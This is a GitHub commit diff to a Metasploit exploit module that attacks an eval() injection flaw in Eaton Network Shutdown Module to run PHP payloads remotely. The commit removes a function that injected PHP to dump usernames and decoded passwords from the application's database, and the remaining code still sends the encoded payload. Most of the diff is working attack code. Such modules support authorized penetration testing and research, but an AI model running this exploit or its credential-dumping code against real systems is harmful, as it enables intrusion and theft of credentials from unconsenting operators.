Skip to content

Commit fd22963

Browse files
committed
Strip the credential dumping stuff (making it auxiliary)
Also a little description update
1 parent 6b524ff commit fd22963

File tree

1 file changed

+13
-51
lines changed

1 file changed

+13
-51
lines changed

modules/exploits/multi/http/eaton_nsm_code_exec.rb

Lines changed: 13 additions & 51 deletions
Original file line numberDiff line numberDiff line change
@@ -18,12 +18,13 @@ def initialize(info = {})
1818
'Description' => %q{
1919
This module exploits a vulnerability in lib/dbtools.inc which uses
2020
unsanitized user input inside a eval() call. Additionally the base64 encoded
21-
user credentials are extracted from the database of the application.
22-
21+
user credentials are extracted from the database of the application. Please
22+
note that in order to be able to steal credentials, the vulnerable service
23+
must have at least one USV module (an entry in the "nodes" table in mgedb.db)
2324
},
2425
'Author' => [ 'h0ng10' ], # original discovery, msf module
2526
'License' => MSF_LICENSE,
26-
'Version' => '$Revision$',
27+
'Version' => '$Revision$',
2728
'References' =>
2829
[
2930
['OSVDB', '83199'],
@@ -33,22 +34,20 @@ def initialize(info = {})
3334
{
3435
'DisableNops' => true,
3536
'Space' => 4000,
36-
'Keys' => ['php']
37+
'Keys' => ['php']
3738
},
38-
'Platform' => ['php'],
39-
'Arch' => ARCH_PHP,
39+
'Platform' => ['php'],
40+
'Arch' => ARCH_PHP,
4041

41-
'Targets' => [[ 'Automatic', { }]],
42+
'Targets' => [[ 'Automatic', { }]],
4243
'DefaultTarget' => 0,
43-
'Privileged' => true,
44+
'Privileged' => true,
4445
'DisclosureDate' => 'Jun 26 2012'
45-
))
46+
))
4647

4748
register_options(
4849
[
49-
Opt::RPORT(4679),
50-
OptBool.new('READ_CREDS', [ true, 'Extract credentials from the target db', true ]),
51-
50+
Opt::RPORT(4679)
5251
], self.class)
5352
end
5453

@@ -65,42 +64,6 @@ def check
6564
return CheckCode::Safe
6665
end
6766

68-
def read_credentials()
69-
pattern = rand_text_numeric(10)
70-
users_var = rand_text_alpha(10)
71-
user_var = rand_text_alpha(10)
72-
php = <<-EOT
73-
$#{users_var} = &queryDB("SELECT * FROM configUsers;");
74-
foreach($#{users_var} as $#{user_var}) {
75-
print "#{pattern}" .$#{user_var}["login"]."#{pattern}".base64_decode($#{user_var}["pwd"])."#{pattern}";
76-
} die();
77-
EOT
78-
79-
print_status("Reading user credentials from the database")
80-
response = execute_php_code(php)
81-
82-
if not response or response.code != 200 then
83-
print_error("Failed: Error requesting page")
84-
return
85-
end
86-
87-
credentials = response.body.to_s.scan(/\d{10}(.*)\d{10}(.*)\d{10}/)
88-
89-
return if credentials.length == 0
90-
print_status("Got #{credentials.length} record(s):")
91-
cred_txt = "#Username:Password\n"
92-
credentials.each do |record|
93-
print_status("Username: #{record[0]}, Password: #{record[1]}")
94-
cred_txt << "#{record[0]}:#{record[1]}\n"
95-
end
96-
97-
loot_name = "eaton.nsm.credentials"
98-
loot_type = "text/plain"
99-
loot_filename = "eaton_nsm_creds.txt"
100-
loot_desc = "Eaton Network Shutdown Module credentials"
101-
store_loot(loot_name, loot_type, datastore['RHOST'], cred_txt, loot_filename, loot_desc)
102-
end
103-
10467
def execute_php_code(code, opts = {})
10568
param_name = rand_text_alpha(6)
10669
padding = rand_text_alpha(6)
@@ -123,13 +86,12 @@ def execute_php_code(code, opts = {})
12386
{
12487
'Connection' => 'Close',
12588
}
126-
}, 5)
89+
})
12790
res
12891
end
12992

13093
def exploit
131-
read_credentials unless datastore['READ_CREDS'] == false
132-
print_status("Sending payload")
94+
print_status("#{rhost}:#{rport} - Sending payload")
13395
execute_php_code(payload.encoded)
13496
handler
13597
end

0 commit comments

Comments
 (0)